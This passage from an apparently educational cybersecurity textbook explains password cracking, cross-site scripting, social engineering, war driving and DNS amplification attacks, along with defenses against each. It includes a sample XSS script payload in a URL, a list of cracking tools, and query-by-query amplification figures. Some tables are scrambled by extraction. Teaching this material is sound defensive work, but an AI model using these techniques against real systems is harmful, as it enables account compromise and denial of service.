attacker can sharply reduce the time required for brute force password
attacks to be successful. Using 100 Amazon EC2 virtual images and
splitting the total iteration count across the 100 servers, if each image
were capable of performing 5,000 iterations per second, the effective
iteration rate would be 500,000. This would reduce the time to find
the same “))))))))” password to approximately 40 million seconds, or
1.27 years.
A variety of tools are available on the Internet that perform brute
force, dictionary, and rainbow table attacks. Exhibit 3-27 identifies
some common tools and the types of attacks they perform.
When attempting to brute force a password, it is extremely important to reduce the time required per iteration to make the attack effective. For this reason, offline attacks against username and password
TOOL
TARGET
John the Ripper
Password hashes
(MD5, SHA1,
NTLM, etc)
Ophcrack
Cain and Able
DICTIONARY RAINBOW BRUTE-FORCE
ATTACK
TABLE
ATTACK
Yes
No
NTLM Hashes
No
NTLM Hashes,
WEP, MD5,
SHA1, MySQL,
MSSQL, etc
Yes
Crowbar
Web
authentication
L0phtCrack
NTLM Hashes,
UNIX passwd
Files
passcracking.com MD5 Hashes
OFFLINE OR
ONLINE
MODE
Yes
Offline
Yes
No
Offline
Yes
Yes
Online and
Offline
Yes
No
Yes
Online
Yes
No
Yes
Offline
Yes
Yes
No
Offline
Exhibit 3-27â•… Common password attack tools.
databases are more suitable for brute force attacks than using a live
authentication system, since many authentication systems purposely
introduce delays.
Brute force attacks against live systems are clumsy and time consuming. Authentication systems can further hamper their effectiveness
by introducing delays between authentication attempts. The higher
the delay, the more time it will take to find a successful password.
When an attacker performs an attack against a live authentication
system, the authentication system should restrict the number of logon
attempts by a single user in a short period. Typically, system administrators use a threshold value of six or fewer logon attempts within
10–30 minutes before locking an account. This allows legitimate users
the luxury of mistyping their password a few times but prevents dictionary and brute force attacks from rapidly trying passwords to compromise an account.
The system administrators design the complexity requirements for
passwords to frustrate both dictionary and brute force attacks. By
increasing the character space to include nonalphabetic characters
and requiring passwords to be at least six characters long, administrators exponentially increase the amount of time required to brute force
a password. Exhibit 3-28 compares the various size and complexity
versus the maximum brute force iteration requirements. These same
complexities can hamper the effectiveness of a password dictionary by
moving the valid password design to a more random or complex word
structure that may not typically exist in a password dictionary.
When an attacker obtains a username and password database, the
only defense a system administrator has against an offline dictionary
or brute-forcing attack is the complexity of the password construction.
It is important that system administrators enforce sufficient password
construction complexity rules. To prevent successful rainbow table
attacks against an offline database, authentication system designers
use salt values.
Salts are random characters added to the beginning of a supplied
text password prior to the hash generation. By using a salt value,
authentication systems can store the same password multiple times in
a username and password database with different hash values for each
user and salt. The salt is typically a multibyte value that is stored in the
username and password data in plaintext for the authentication system
E x p l o itati o n
CHARACTER SET
171
PASSWORD
LENGTH
MAXIMUM BRUTEFORCE ITERATIONS
abcdefghijklmnopqrstuvwxyz
8
208,827,064,576
abcdefghijklmnopqrstuvwxyz0123456789
6
2,176,782,336
abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()
5
205,962,976
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
PQRSTUVWXYZ0123456789!@#$%^&*()
4
26,873,856
PQRSTUVWXYZ0123456789!@#$%^&*()
6
139,314,069,504
PQRSTUVWXYZ0123456789!@#$%^&*()
8
722,204,136,308,736
Exhibit 3-28â•… Maximum brute force iterations for various character sets and password lengths.
to hash the supplied password properly for comparison. The use of the
salt increases the size of the possible password length exponentially,
resulting in a significantly higher space requirement for rainbow tables.
For instance, using an 8-byte salt would increase the size requirements
for a rainbow table by 264 (18,446,744,073,709,551,616) times; however, the salt has little effect on dictionary and brute force attacks since
the salt is typically available in the username and password database,
therefore allowing the attacker to add the value as a static string.
It is worth noting that it is not necessarily better to include nonalphabetic characters with shorter lengths than it is to require only
alphabetic characters with a longer length. For example, and as illustrated in Exhibit 3-28, it takes 100 times more iterations to find an
eight-character password made up of a character set containing a
through z than it does to find a six-character password made up of a
character set containing a through z and 0 through 9. Companies can
also find the trade-off of using a more complex character set on yellow
Post-It notes attached to users’ monitors.
3.2â•‡ Misdirection, Reconnaissance, and Disruption Methods
3.2.1â•‡ Cross-Site Scripting (XSS)
Improper input validation can allow an attacker to execute malicious
scripts on Web pages with the same level of access as legitimately
included scripts. Used to access form variables and take actions on
behalf of the user, cross-site scripting (XSS) attacks are the most
commonly present and widely exploited type of vulnerability.
As the popularity of Web applications has grown in recent years,
reports of one Web-based programming error, the XSS vulnerability, has grown in kind. In 2008, the National Vulnerability Database
(NVD) recorded 806 XSS flaws, accounting for more than 14 percent
of all new vulnerabilities.41 The website xssed.com tracks thousands
of XSS errors, many of which remain unfixed for months or years.42
Despite its prevalence, many users and programmers do not understand how XSS attacks work or how to defend against them.
Shortly after Netscape developed JavaScript to allow programmers to create more dynamic Web pages, the name cross-site scripting was coined to describe a vulnerability it introduced. At the time,
when two pages from different websites loaded next to each other
in a browser (in a frame or separate window), JavaScript from one
site could “cross” the boundary to read or modify the page from the
other site.43 To resolve this problem, Netscape implemented the sameorigin policy with the release of Netscape 2.0 in 1996.44 As shown in
Exhibit 3-29, the same-origin policy prevents documents from one
origin (example1.com) from reading or modifying documents from a
different origin (example2.com).
All major Web browsers now implement the same-origin policy,
and while it is effective, Web programmers can still leave their applications open to this type of attack through sloppy coding. The term
XSS now refers to attacks that attempt to sidestep the same-origin
http://example1.com
example1.com
example2.com
Exhibit 3-29â•… Prior to the same-origin policy, one website could alter another when loaded in the
same browser.
E x p l o itati o n
17 3
policy by causing malicious script code to run within the context of
the original site and therefore with the “same origin.”
Like many common vulnerabilities, XSS flaws are essentially input
validation errors. For an XSS attack to occur, a website must accept
input from an untrusted source, such as a Web request, and serve the
submitted input on a Web page. The infected page may be served to
the same user, such as in the case of a search engine, or to any user,
such as in the case of a blog’s comment form. If the website fails to
sanitize the input, the browser will execute the malicious script.
For example, a search engine must accept input from visitors to
determine what the user is looking for. This information is often
passed to the Web application through a URL parameter. URL
parameters are key–value pairs appended to the end of a URL that
the Web application can use to generate dynamic content. In the following example, the “query” variable is set to the value puppies.
http://example.com/search?query=puppies
The search engine takes this value, searches its database for pages
containing the word puppies, and returns a result page like that shown
in Exhibit 3-30. If the search engine does not properly sanitize the
user’s input before displaying it, that input could alter the page in
ways the developer did not intend. Rather than inputting a real
search query, a user might enter JavaScript code that causes the page
to show an alert that the query returns (e.g., http://example.com/
search?query= ><SCRIPT>alert(“XSS!”)</SCRIPT><).
http://example1.com/search?query=puppies
32,500,000 results for puppies
Puppies, Cute Puppy Names, Pictures of Puppies & More | Daily Puppy
Find cute puppy pictures and videos. Learn how to care for and train puppies. Submit
your puppy to be the daily puppy, create profiles for you and your dogs ...
Pupfolio - Dogs - Dog Forums - Gucci the Bernese Mountain Dog
www.dailypuppy.com/ - Cached - Similar
Puppies for Sale, Dogs for Sale and Dog Breeders
Directory of dog breeds and breeders with puppies for sale and dogs for adoption, Find
the right breed, and the perfect puppy at PuppyFind.com.
Member Login - Find a Puppy - Pomeranian - Great Dane
www.puppyfind.com/ - Cached - Similar
Puppies for Sale, Dogs for Sale
Mar 24, 2010 ... AKC dogs for sale, AKC puppies for sale from area dog breeders. Find a
puppy for sale, dogs for sale at Next Day Pets.
Exhibit 3-30â•… A search engine displays the result of a user’s query.
http://example1.com/search?query=><SCRIPT>alert
206,000 results for
JavaScript
XXS!
OK
Exhibit 3-31â•… A vulnerable site executes JavaScript code rather than displaying the query.
The vulnerable search engine queries for the malicious string and
then returns it to the user along with the results. Rather than displaying the query text to the user, the browser generates an alert box containing the text “XSS!” demonstrating that code passed by the URL
was executed (see Exhibit 3-31).
At first glance, this vulnerability does not appear to be very dangerous, as the user entered the text that caused the code to execute;
however, attackers often craft malicious links containing the malicious script code, distribute these malicious links via e-mail, or post
them to message boards and simply wait for users to click them.
Using XSS, attackers can steal information from a victim’s browser
related to the vulnerable page. If the vulnerability exists in a banking application, the attacker could retrieve account balances and other
private information from the page and send it off to his or her own
server. XSS also enables attackers to take actions on behalf of victims.
For instance, given a vulnerable Web-based e-mail application, the
attacker could send e-mails from a victim’s account or forward e-mails
containing sensitive information. Attackers can also steal the authentication cookie for a vulnerable site and later use that cookie to log on,
thereby negating the need to steal the user’s credentials.
XSS attacks such as the one described above are known as nonpersistent, reflected, or Type-1 attacks because they only alter the page
once, when the victim visits the specially crafted URL. Persistent XSS
vulnerabilities are less common but much more dangerous. When
attackers exploit a persistent XSS vulnerability, they make changes to
E x p l o itati o n
17 5
the page content that are stored in a database, which then affects every
subsequent user who visits the page.
Many Web applications allow users to submit content that is stored
in a database and later displayed to other users. For instance, the comment section of a blog application takes all comments and stores them
in a database table associated with the blog entry. The application then
selects these comments from the database and displays them when
a visitor views the associated blog entry. If the application does not
properly sanitize these entries, each subsequent visitor will execute the
attacker’s code in his or her browser.
Persistent XSS flaws are very similar to another input validation
error, SQL injection,45 in that both vulnerabilities allow the attacker
to make persistent changes to a Web application and are predicated on
improper input validation. One possible outcome of XSS is a type of
Web worm that infects a user’s Web pages (such as profiles or socialnetworking pages) instead of his or her computer.
On April 11, 2009, an XSS-based worm began spreading on the
popular microblogging website Twitter.46 A vulnerability in the
Twitter code allowed an attacker to include a <script> tag in a profile
page that linked to a JavaScript file hosted on a computer controlled
by the attacker. When visitors viewed this page, their browser loaded
this file and executed it. The content of this script took advantage of
the fact that Twitter users visit the page while already signed into
their Twitter accounts. The script updated the users’ profiles to include
the same malicious <script> tag, which could then infect visitors to
the new user profile. The script also “tweeted” a message advertising
www.StalkDaily.com, a Twitter competitor. This behavior allowed
the messages and malicious code to spread quickly from account to
account while advertising the attacker’s website. As shown in Exhibit
3-32, when the B and C users visit the A user’s infected profile, the
malicious code immediately infects their profiles. Later, when the AB
user visits the C user’s profile, his profile also becomes infected, and
so forth.
Users can mitigate the threat from XSS attacks by using modern browsers with XSS filter technologies. Internet Explorer (IE) 8
includes a filter that prevents reflected XSS attacks when it detects
them. IE users who cannot upgrade should make use of security zones
to prevent scripts from nontrusted websites from running.
B
C
B
A
Everyone Join
www.StalkDaily.com!
Everyone Join
www.StalkDaily.com!
D
C
Everyone Join
www.StalkDaily.com!
D
Everyone Join
www.StalkDaily.com!
Exhibit 3-32â•… A cross-site scripting (XSS) worm spreads between Twitter accounts via an XSS
attack.
Firefox users can install the no-script plug-in, which also contains
an XSS filter. No-script also allows the user to specify which sites they
trust to run JavaScript code but denies nontrusted sites by default.
Web application developers should be careful to ensure their
programs are not vulnerable to XSS attacks. The key to preventing XSS is treating all users’ input as suspicious and sanitizing it
before returning it with other dynamic content; however, this task is
more difficult than it appears. The Open Web Application Security
Project (OWASP) has created a cheat sheet that shows the many
ways malicious actors can launch XSS attacks and how to defend
against them.47
XSS is not only the most common Web vulnerability but also the
most common vulnerability class overall.48 While the impact may not
seem as severe as that of the venerable buffer overflow, attackers frequently exploit XSS vulnerabilities, often with severe consequences
for the vulnerable site’s users.
3.2.2â•‡ Social Engineering
No matter how quickly an organization patches the latest zero-day
vulnerability or how many security products it deploys, one major
vulnerability remains in every system: the human being. Social engineering is the art and science of attacking the human element of
a system to gain sensitive information or access to restricted areas
or systems. In this section, we explain the concepts behind social
E x p l o itati o n
17 7
Exhibit 3-33â•… The Art of Deception by Kevin Mitnick. (Mitnick, Kevin D. and William L. Simon; The
Art of Deception. 2002. © Wiley–VCH Verlag GmbH & Co. KGaA. Reprorudced with permission.)
engineering and how modern attackers use the technique to further
their criminal operations.
While there are many definitions for social engineering, one of the
most succinct and accurate describes the practice as a hacker’s clever
manipulation of the natural human tendency to trust.49 Humans must
trust each other every day to survive in the modern world. Each time
a person drives a car, he or she places a little trust in the people who
designed the vehicle and bolted it together and in every other driver
he or she encounters. While some people (especially in the security
industry) are skeptical of others, or even paranoid, people who have
no trust in their fellow human beings could not function in a modern
society. A clever attacker can abuse the natural human tendency to
trust to convince people to do things that are not in their best interests. While testifying before Congress in 1995, Kevin Mitnick, one of
the world’s most famous hackers and the author of The Art of Deception
(see Exhibit 3-33), stated, “I was so successful in [social engineering]
that I rarely had to resort to a technical attack.”50
One way for an attacker to build trust with a target is with information—ideally, nonpublic information. In this context, nonpublic
information is anything the target believes the public in general does
17 8 Cy ber Se curit y E s sen tia l sï»¿
not know. Whether or not this belief is true is irrelevant. People often
use another person’s possession of nonpublic knowledge to make decisions about their trustworthiness. For example, Bob is throwing a
twenty-first birthday party for Alice with a large but limited guest
list. Bob asks Walter to guard the door and gives him the guest list.
Uninvited, Mallory might approach Walter while carrying a wrapped
package and say, “Hi, I’m here for Alice’s birthday party, I’m not on
the list but Bob told me you would let me in.” When deciding whether
to let Mallory into the party, he will consider the fact that Mallory
was carrying a gift, that the party was for Alice’s birthday, and that
Bob was in charge of who attends the party. One could obtain all
of the information Mallory provided by eavesdropping on a casual
conversation. While nothing Mallory said gives her authorization to
enter the party, Walter is likely to ignore the list and open the door.
Empathy is another weapon in the attacker’s trust-building toolkit. Most people feel bad when they see someone in trouble, but
more importantly, they identify with them. By appearing in trouble
and making it easy for an attacker’s target to help, that attacker can
use human empathy to get what he or she wants. Consider an elevator controlled by an electronic badge system that prevents unauthorized users from entering the building’s secured floors—floors
4–7. Mallory, an unauthorized user, enters the elevator carrying
some heavy boxes at the same time that Bob, the authorized user,
enters the elevator. Mallory casually says to Bob, “Can you hit 6
for me?” While Bob has not verified that Mallory has access to the
sixth floor and has no actual reason to trust her, he may press the
button because he identifies with her situation and feels empathy
for her.
Appealing to the target’s wants or needs is another effective socialengineering technique. People are often willing to take imprudent
actions that they think will result in a reward of some kind. In 2008,
a survey of 576 British office workers found that almost 20 percent of
people are willing to give up their logon and password for a piece of
chocolate.51 Changing the prize to a ticket for a raffle offering a trip
to Paris yielded more than 60 percent of the workers’ passwords. The
same tactic also applies to targets who want to avoid pain or punishment. Offering to carry someone’s heavy boxes may get an attacker
through a door without authorization, or berating a low-paid help
E x p l o itati o n
17 9
desk employee over the phone could result in a cornucopia of valuable
nonpublic information.
To be successful, attackers often need to use these tactics and others to gain enough information and access to complete their tasks. In
Ira Winkler’s 1997 book Corporate Espionage, he describes a socialengineering penetration test he conducted completely by phone that
gave him complete access to a corporation’s systems.52 They completed
the task by using pieces of nonpublic information to gain the trust of
humans in the company. Each piece of information gave them the
ability to get slightly more information. Winkler gains the key pieces
in the following order:
1.An executive’s name and the company’s phone number (from
an annual report and local phone book)
2.An executive’s employee ID and cost center numbers (from
the executive’s secretary)
3.A company phone directory (by posing as the executive and
using his or her cost center number)
4.A list of fifty-five new employees (from the new-hire administration office by posing as a secretary of an angry executive
who needed the list)
5.The types of software and hardware used in the company
(from new employees by posing as a security officer giving
training to each new employee by phone)
6.The phone numbers and passwords for modems on the company network (from new employees during the same security
training call)
While the information in numbers five and six is sensitive on its
own, the previous items are small enough that they do not appear to
be a major threat to security. By using them together, Winkler was
able to gain all of the information he needed to access the computer
systems without ever stepping foot in the building.
While the examples above all target a specific individual or group,
attackers can also use social engineering against large groups of people. The best example of widespread social engineering is phishing. In
a phishing scheme, the attacker sends an e-mail to at least one person
(but more likely thousands) that asks the target(s) to reveal private
information (passwords, credit card numbers, etc.). The success of a
Exhibit 3-34â•… A Better Business Bureau (BBB) e-mail template using the ADP Employer Services
theme.
phishing scheme relies on how cleverly the attacker can manipulate
the target into trusting the content of the e-mail.
Using a bank’s logo and copying its website comprise one way to
establish this trust. The target sees these pieces of information and uses
them to judge the trustworthiness of the e-mail. Phishing schemes
also often appeal to a user’s wants or needs by offering a prize for filling out a form or threatening to lock the target’s account if he or she
does not comply with the e-mail’s instructions.
More targeted phishing schemes, known as whaling or spearphishing attacks, allow social engineers with additional knowledge to
create convincing e-mails. Consider the e-mail template shown in
Exhibit 3-34.
Criminals sent e-mails using this template in April 2008 to thousands of business e-mail accounts. The e-mails included the victim’s
name in the “To:” field. While a person’s name does not seem like a
piece of nonpublic knowledge, people are often more likely to trust an
e-mail if they feel like it pertains specifically to them. The message
implies that the recipient will not receive his or her paycheck, which
is likely to invoke a strong emotional reaction. Finally, the attackers
sent the e-mails on a Thursday, which is a common day for accounting
departments to finalize payroll. All of these items together made this
a very successful social-engineering attack.
Attackers commonly use social engineering to install malicious
code. A computer system may have the latest patches and be protected against malicious code that spreads through known vulnerabilities, but attackers can still infect a system if they convince the
user to download and install their program. One popular way to do
this is to entice a user with a video of a hot news topic, such as a celebrity sex tape53 or death.54 When the target visits the website, the target
E x p l o itati o n
181
Exhibit 3-35â•… Attackers use social engineering and a fake software update to infect a target
with malicious code.
receives notification that his or her browser cannot display the video
unless he or she downloads new software (see Exhibit 3-35).
Rogue antivirus (AV) applications are a criminal scheme that relies
heavily on social engineering. These products appear to be legitimate
AV programs but provide no actual protection and incessantly report
infections that do not exist. Victims often install rogue AV programs
when they visit a website and see a frightening pop-up claiming that a
virus or Trojan has infected their computers (see Exhibit 3-36). When
the user follows the pop-up’s instructions, they unknowingly install
the rogue AV program. These schemes prey on users’ fears of malicious
code and test their patience through annoying alerts. The attackers
make money by convincing the users to spend up to US$89.95 to buy
the “full version” of their products. For more information on rogue AV
products, see the “State of the Hack” article titled “iDefense Explains
… Rogue Anti-Virus.”
Exhibit 3-36â•… A rogue antivirus (AV) popup displayed to users to entice them to download malicious code.
These are just a few examples of modern social-engineering
attacks. In reality, most attacks involve some level of social engineering, some large and some small. Unfortunately, no technology
or simple solution can defend against social-engineering attacks.
“There is no patch for human stupidity” is a common but somewhat crude axiom used in the security community to describe this
situation. A more accurate version might be “There is no patch for
the human tendency to trust.” The best mitigation strategy for an
organization against social engineering is to build a culture of security through awareness training and education. Alerting users of
widespread attacks as those attacks occur, and giving users regular instruction, will give them the tools to detect social-engineering
schemes before the schemes can do any harm.
3.2.3â•‡ WarXing
In 1983, the movie WarGames caught the imagination of enterprising
young hackers everywhere (see Exhibit 3-37). The movie was very
influential to the hacker culture, and the act of dialing numbers to
discover listening modems became known as war dialing. During
the past twenty-five years, war dialing, war driving, and war spying developed as reconnaissance techniques used by hackers to discover possible targets and learn more about the networks accessible
to them. This section discusses these techniques and the origin of the
WarXing nomenclature.
Technology professionals love inventing new words, and security
researchers are no different. War dialing, war driving, and war spying are names for reconnaissance techniques used by hackers to discover possible targets and learn more about the networks accessible
to them.
In WarGames, Matthew Broderick portrays a high school student
who uses his computer to dial every phone number in Sunnyvale,
California automatically to search for modems owned by software
companies in hopes of getting copies of the latest games before their
release to the public. The movie was very influential to the hacker
culture, and the act of dialing numbers to discover listening modems
became known as war dialing.55
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18 3
Exhibit 3-37â•… WarGames movie poster.
War dialing is essentially a reconnaissance technique. It allows an
attacker or curious individual to reach out through the phone network and determine what types of other systems might be accessible
to him or her. Automated war-dialing programs dial a range of numbers and wait for one or two rings. If a modem answers the call, the
program makes a note of it and moves on. If a person or voicemail
system answers the phone, the program disconnects. The result is a
list of every accessible modem in a particular phone prefix that the
war dialer can then target for further attacks.
With the rise of broadband in homes and businesses during the
1990s, fewer and fewer modems were attached to phone lines and
war dialing became less popular, but criminals found new uses for
the technology. Vishing, or voice-phishing, attacks use the phone
system to gather secret information about a target. Attackers can
use automated dialers that dial huge volumes of numbers until
Exhibit 3-38â•… A WiGLE map of U.S. wireless networks.
a victim answers, at which point a voice-based computerized
prompting system filled with social-engineering questions begins
asking for (or demanding) personal information of the unsuspecting targets.
In the last decade, war dialing has transformed into other forms
of network reconnaissance, carried out with the same hacker spirit
that drove the early phone system pioneers. War driving is the act
of mapping out the location of Wi-Fi networks. Rather than dialing
up a series of telephone numbers, “war drivers” hop in their car with
Wi-Fi-enabled laptops or PDAs and drive through neighborhoods
recording the location and name of each network they detect. The
goal of war driving is not malicious, and its practice does not harm or
annoy the networks they detect. The WiGLE Project currently tracks
more than 15 million networks worldwide and allows users to search
for networks using an interactive map (see Exhibit 3-38).56
For those with an interest in mapping Wi-Fi networks but with
no car to carry them from place to place, there is war walking, war
cycling, and even war flying. The first known instance of war flying
occurred in 2002, when members of the WAFreeNet group flew over
Perth, Australia, and mapped out that city’s networks from the air.57
E x p l o itati o n
18 5
Exhibit 3-39â•… WARSpyLA war-spying equipment.
War spying, another derivative of war driving that goes beyond
simple network mapping, targets specific types of wireless-enabled
surveillance devices that give a glimpse into areas typically out of
view. Low-end security systems, such as those used for surveillance
by small businesses, use wireless technology to transmit images to a
central computer. This is convenient because it does not require running cables to the cameras but leaves them open to war spying if not
properly secured. War spies spend time and money building equipment to seek out and display signals they find, such as the one displayed in Exhibit 3-39, built by WARSpyLA, a Los Angeles–based
war-spying group.58
While curiosity and not malice drives each of the WarXing activities, the information gathered during WarXing reconnaissance can
support destructive and criminal activities. War dialing may lead
to attacks on systems connected to the phone system via modems.
Mapping wireless networks through war driving could allow an
attacker to find open networks that he or she could use to launch
criminal activity without being traced, or simply to sniff the traffic of
the unencrypted network to steal personal information. War spyers
may be watching open security cameras out of curiosity, but malicious actors could also use them to scout a location before a physical break-in. While the threat from WarXing activities may appear
to be trivial, it is important for security professionals to be aware of
these techniques and understand their place in hacker culture. There
is very little that an organization can do to keep curious war drivers
from mapping their networks, but administrators should ensure that
they properly secure any wireless devices. For anyone wondering how
many Wi-Fi networks are in your neighborhood, head over to the
WiGLE Project.59 The results might be surprising.
3.2.4â•‡ DNS Amplification Attacks
This section looks at domain name system (DNS) amplification techniques, which utilize the DNS, or misconfigured DNS servers, to
launch denial of service (DoS) attacks while using minimal amounts of
bandwidth on the part of the attacker. DNS amplification attacks rely
on the ability to spoof the originating Internet Protocol (IP) address
in User Diagram Protocol (UDP) packets, thereby instructing a DNS
server to reply to a specific address, known as a reflection attack. The
amplification portion of the attack relies on the DNS server’s willingness to perform a query on behalf of the attacker, which results
in a response that is larger than the original query. A recently publicized DNS amplification simply issued queries for the root (“.”) servers, instead of the more common technique of poisoning a particular
DNS server with an abnormally large DNS record. DNS amplification attacks take advantage of the large resources of DNS servers and
can be enormously powerful. The article also discusses well-known
but rarely implemented techniques to mitigate these attacks.
Denial of service (DoS) attacks come in many forms, but successful attacks all result in the same outcome: the targeted service
is made unavailable to users. A common form of DoS is known as
network resource exhaustion. These attacks involve sending more traffic to a server than it can properly handle, effectively blocking communication with legitimate systems. Network exhaustion requires the
attacker to generate a very large amount of traffic, frequently using
many systems collected in a botnet. This section explains a complex
DoS attack known as domain name system (DNS) amplification, which
takes advantage of features in the Internet architecture to turn a small
number of systems into an Internet-based weapon.
E x p l o itati o n
18 7
To understand DNS amplification, it is first necessary to understand the two concepts that allow the attack to take place. The first
is known as reflection. Unlike the more commonly used Transmission
Control Protocol (TCP), the User Datagram Protocol (UDP) and
Internet Control Message Protocol (ICMP) are not connection based.
When two computers communicate using TCP, they first perform
a three-way handshake that allows the systems to synchronize settings and ensure that the system that sent the original packet actually intended to establish a connection. UDP packets simply contain
a source and destination Internet Protocol (IP) address (as part of
the IP packet that encapsulates them), but the recipient of the UDP
packet cannot be sure that the source was not falsified, or spoofed. A
computer that receives a packet with a spoofed IP address will reply
to that IP address, rather than the original sender. This is known as
a reflection attack because the original packet reflects an intermediate
system before striking the targeted system. The benefit of a reflection
attack is that the victim cannot tell the original source of the traffic
without getting information from the intermediate system.
Reflection can also allow an attacker to make traffic appear to come
from many sources, making it more difficult for the victim to filter
the incoming data. In Exhibit 3-40, the attacker sends ICMP echo
requests (pings) to multiple intermediate systems while spoofing the IP
Reflector Systems
DoS Target
Spoofed Packets
DoS Initiator
Exhibit 3-40â•… A reflection attack allows a single attacker to send traffic from many sources.
Amplification Systems
Spoofed Broadcast Message
DoS Initiator
DoS Target
Exhibit 3-41â•… A smurf amplification attack multiplies the total traffic sent by the initiator.
address in the packets to match that of the victim. Each compromised
computer dutifully replies to the victim, flooding it with traffic.
While reflection attacks hide the source of a DoS initiator, they
still require the initiator to be able to send as much data as he or she
wants the victim to see. Amplification attacks take this to the next
step, increasing the total amount of traffic received by the target to
tens or hundreds of times the original payload size.
One of the oldest amplification attacks is known as the smurf
attack. In a smurf attack, the initiator sends a ping to the IP broadcast
address, spoofing the victim’s IP address. Exhibit 3-41 shows how the
smurf attack works by sending a single packet that results in an amplification of the total traffic received by the victim. Smurf attacks are
no longer a major threat because router configurations no longer pass
broadcast packets to other networks, limiting the range of a smurf
attack to the local subnet.
A more recently discovered class of DoS attacks takes advantage
of the DNS infrastructure to amplify the amount of traffic a single
node can send. A DNS request for the A record of a specific domain,
such as google.com, returns much more data than is required to make
the request. DNS requests commonly used connectionless UDP messages, making them ideal for reflection and amplification attacks.
The key to launching an amplification attack is finding DNS servers that will perform recursive queries and return a larger amount of
data than was in the original request. These servers are commonly
known as open resolvers. For more information about recursive DNS
queries and the DNS in general, refer to the “State of the Hack” article entitled “iDefense Explains the Domain Name System (DNS).”60
E x p l o itati o n
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DNS Servers
Amplified DNS
Responses
Small DNS
Responses
DoS Target
DoS Initiator
Exhibit 3-42â•… DNS servers amplify the amount of traffic generated by the DoS initiator.
A typical DNS A record query requires the client to send at least 49
bytes of data, depending on the length of the domain name requested.
In some cases, the response message may be smaller than the original
request, but it is very simple to ensure a large response by requesting
additional information. Exhibit 3-42 shows how this type of attack
exploits DNS servers.
A request for the A record of google.com requires sending 70 bytes
of data and will result in a 118-byte response (including the encapsulating Ethernet, IP, and UDP headers). This is only a minor amplification, but by making an ANY query instead of an A record query,
the server also returns the values it has stored for MX and NS records,
resulting in a 278-byte response, or an almost 4x amplification. To
take amplification even further, the attacker can take advantage of
the large records provided by DNS Security Extensions (DNSSEC)
signed zones. DNSSEC provides cryptographic signature data along
with normal DNS record data to allow the recipient to verify that the
data are authentic. These records greatly increase the amount of traffic
returned by a DNS server. The U.S. government recently signed the
.gov domain, and these signature data are available through DNS servers. Making a 74-byte ANY request for the .gov domain, specifying
that DNSSEC records be provided, results in a 2,309-byte response,
an amplification factor of more than 30. Exhibit 3-43 displays how
different DNS requests result in different amplification factors.
These types of attacks rely on open resolvers to carry out malicious
deeds, but a new form of DNS amplification recently emerged that
2500
2000
1500
1000
500
0
A
Any
DNSSEC
Exhibit 3-43â•… The amplification factor depends on the type of DNS query made.
can take advantage of locked-down DNS servers. In January 2009,
attackers launched a large-scale distributed denial of service (DDoS)
attack against an ISP named ISPrime.61 To take advantage of DNS
servers that are not open resolvers, the attackers made requests for
“.”, the designation of the root servers. DNS servers respond to these
requests with the IP address of each of the root servers, even when
they do not allow recursive queries. This response can include more
than 500 bytes of data and only requires a 49-byte request, an amplification factor of more than 10.
Amplifying the amount of bandwidth generated is very beneficial
in a DoS attack. An infected computer using a cable modem may only
be able to generate 512 Kbps of bandwidth, which is not enough to
cause a DoS for most servers. Amplify this value by thirty times, and
use this technique on 1,000 nodes, and a small botnet could easily
generate more than 14 Gbps of traffic, enough to saturate almost any
Internet connection.
3.2.4.1â•‡ Defeating Amplificationâ•… DNS amplification attacks rely on
two principals without which they could not be effective. First, UDP
packets can carry spoofed IP addresses, allowing attackers to reflect
traffic off DNS servers. This does not necessarily need to be the
case. While UDP does not make it possible to verify the source of
a packet, an ISP can inspect packets leaving their network to ensure
that the source IP address could actually reside within that network.
The Internet Engineering Task Force (IETF) “Best Current Practice
(BCP) 38” (BCP38) document suggests this type of filtering.62 While
E x p l o itati o n
191
many networks have implemented the filtering suggested by BCP38,
many large networks have refused to, stating that the filtering requires
too much overhead for their equipment or that their customers may
need to generate traffic with spoofed-source addresses.
The second necessity for DNS amplification to succeed is the cooperation of one or many DNS servers. In 2006, Dan Kaminsky presented evidence that more than 580,000 open resolvers were active
on the Internet.63 It is unlikely that the operators of these servers
intend the public or DoS attackers to use them. Any administrator
who operates a DNS server should configure it to either not perform
recursive queries or limit it so only specific IP ranges can perform
these queries. To combat the latest “root query” form of amplification
attack, administrators should configure servers to either not reply to
requests for the root domain or limit the systems allowed to request
this information to those on a trusted network. More information
on how to make these changes in Berkeley Internet Name Daemont
(BIND) 9 is available from SecureWorks.64
DNS amplification attacks are not a recent discovery, but DDoS
networks have not commonly used them. If they began taking advantage of amplification, small botnets could become much more powerful than ever before.
References
1. Tenouk, “Buffer Overflow 9,” n.d., http://www.tenouk.com/
Bufferoverflowc/Bufferoverflow5.html.
2. Kernel Panic, “Writing Shellcode for Linux and *BSD,” n.d., http://www.
kernel-panic.it/security/shellcode/shellcode3.html.
3. No Login, “Understanding Windows Shellcode,” December 6, 2003,
http://www.hick.org/code/skape/papers/win32-shellcode.pdf.
4. Phrack, “Phrack Issues,” n.d., http://www.phrack.com/issues.
html?issue=57&id=15.
5. iDefense explained stack buffer overflows in “State of the Hack,” iDefense Weekly Threat Report, ID# 480099, January 5, 2009.
6. http://www.secdev.org/projects/shellforge. Accessed August 11, 2010.
7. Metasploit, “Payloads,” n.d., http://metasploit.com:55555/PAYLOADS.
8. For more information on how buffer overflows work, please see the iDefense Weekly Threat Report, ID# 480093, January 5, 2009.
9. U.S. Computer Emergency Readiness Team, “Vulnerability Note
VU#540517),” 2004, http://www.kb.cert.org/vuls/id/540517.
10. CodePlex, “SafeInt,” 2006–2010, http://www.codeplex.com/SafeInt.
11. National Institute of Standards and Technology, “National Vulnerability
Database,” n.d., http://web.nvd.nist.gov.
12. David Litchfield, “ Defeating the Stack Based Buffer Overflow Prevention
Mechanism of Microsoft Windows 2003 Server,” September 8, 2003,
http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.
pdf.
13. http://www.ciac.org/ciac/bulletins/l-040.shtml.
14. iDefense, “State of the Hack: An In-Depth Look at a SQL Injection
Attack,” iDefense Weekly Threat Report, ID# 473302, October 6,
2008.
15. PHP, “mysql_real_escape_string Documentation,” 2001–2010, http://
us2.php.net/mysql_real_escape_string.
16. ModSecurity, [homepage], 2004–2010, http://www.modsecurity.org.
17. OWASP, “Web Application Firewall,” n.d., http://www.owasp.org/index.
php/Web_Application_Firewall.
18. J. D. Meier, Alex Mackman, Blaine Wastell, Prashant Bansode, and Andy
Wigley, “How To: Protect from SQL Injection in ASP.NET,”– May
2005, http://msdn.microsoft.com/en-us/library/ms998271.aspx.
